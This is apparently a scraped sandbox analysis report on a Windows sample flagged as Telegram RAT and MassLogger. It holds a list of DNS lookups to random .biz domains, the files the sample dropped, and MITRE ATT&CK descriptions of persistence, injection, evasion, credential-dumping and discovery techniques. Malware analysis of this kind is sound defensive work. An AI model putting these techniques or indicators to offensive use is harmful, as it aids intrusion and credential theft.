Source: global traffic	DNS traffic detected: DNS query: jpskm.biz
Source: global traffic	DNS traffic detected: DNS query: lrxdmhrr.biz
Source: global traffic	DNS traffic detected: DNS query: wllvnzb.biz
Source: global traffic	DNS traffic detected: DNS query: gnqgo.biz
Source: global traffic	DNS traffic detected: DNS query: jhvzpcfg.biz
Source: global traffic	DNS traffic detected: DNS query: acwjcqqv.biz
Source: global traffic	DNS traffic detected: DNS query: lejtdj.biz
Source: global traffic	DNS traffic detected: DNS query: vyome.biz
Source: global traffic	DNS traffic detected: DNS query: yauexmxk.biz
Source: global traffic	DNS traffic detected: DNS query: iuzpxe.biz
Source: global traffic	DNS traffic detected: DNS query: sxmiywsfv.biz
Source: global traffic	DNS traffic detected: DNS query: vrrazpdh.biz
Source: global traffic	DNS traffic detected: DNS query: ftxlah.biz
Source: global traffic	DNS traffic detected: DNS query: typgfhb.biz
Source: global traffic	DNS traffic detected: DNS query: esuzf.biz
Source: global traffic	DNS traffic detected: DNS query: gvijgjwkh.biz
Source: global traffic	DNS traffic detected: DNS query: qpnczch.biz
Source: global traffic	DNS traffic detected: DNS query: brsua.biz
Source: global traffic	DNS traffic detected: DNS query: dlynankz.biz
Source: global traffic	DNS traffic detected: DNS query: oflybfv.biz
Source: global traffic	DNS traffic detected: DNS query: yhqqc.biz
Source: global traffic	DNS traffic detected: DNS query: mnjmhp.biz
Source: global traffic	DNS traffic detected: DNS query: opowhhece.biz
Source: global traffic	DNS traffic detected: DNS query: zjbpaao.biz
Source: global traffic	DNS traffic detected: DNS query: jdhhbs.biz
Source: global traffic	DNS traffic detected: DNS query: mgmsclkyu.biz
Source: global traffic	DNS traffic detected: DNS query: warkcdu.biz
Source: global traffic	DNS traffic detected: DNS query: gcedd.biz
Source: global traffic	DNS traffic detected: DNS query: jwkoeoqns.biz
Source: global traffic	DNS traffic detected: DNS query: xccjj.biz
Source: global traffic	DNS traffic detected: DNS query: hehckyov.biz
Source: global traffic	DNS traffic detected: DNS query: rynmcq.biz
Source: global traffic	DNS traffic detected: DNS query: uaafd.biz
Source: global traffic	DNS traffic detected: DNS query: eufxebus.biz
Source: global traffic	DNS traffic detected: DNS query: pwlqfu.biz
Source: global traffic	DNS traffic detected: DNS query: rrqafepng.biz
Source: global traffic	DNS traffic detected: DNS query: ctdtgwag.biz
Source: global traffic	DNS traffic detected: DNS query: tnevuluw.biz
Source: global traffic	DNS traffic detected: DNS query: whjovd.biz
Source: global traffic	DNS traffic detected: DNS query: gjogvvpsf.biz
Source: global traffic	DNS traffic detected: DNS query: reczwga.biz
Source: global traffic	DNS traffic detected: DNS query: bghjpy.biz
Source: global traffic	DNS traffic detected: DNS query: damcprvgv.biz
Source: global traffic	DNS traffic detected: DNS query: ocsvqjg.biz
Source: global traffic	DNS traffic detected: DNS query: ywffr.biz
Source: global traffic	DNS traffic detected: DNS query: ecxbwt.biz
Source: global traffic	DNS traffic detected: DNS query: pectx.biz
Source: global traffic	DNS traffic detected: DNS query: zyiexezl.biz
Source: global traffic	DNS traffic detected: DNS query: banwyw.biz

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Driver: Driver Load, File: File Creation, File: File Modification, Module: Module Load
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Y2EM7suNV5.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

C:\Program Files (x86)\Google\Chrome\Application\109.0.5414.120\elevation_service.exe

C:\Program Files (x86)\Mozilla Maintenance Service\logs\logAD9E.tmp

C:\Program Files (x86)\Mozilla Maintenance Service\logs\maintenanceservice.log (copy)

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE

C:\Program Files\Windows Media Player\wmpnetwk.exe

C:\Users\user\AppData\Local\Temp\Dunlop

C:\Users\user\AppData\Roaming\6b019fa68ff011e5.bin

C:\Windows\DtcInstall.log

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe

Windows Analysis Report
Y2EM7suNV5.exe

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre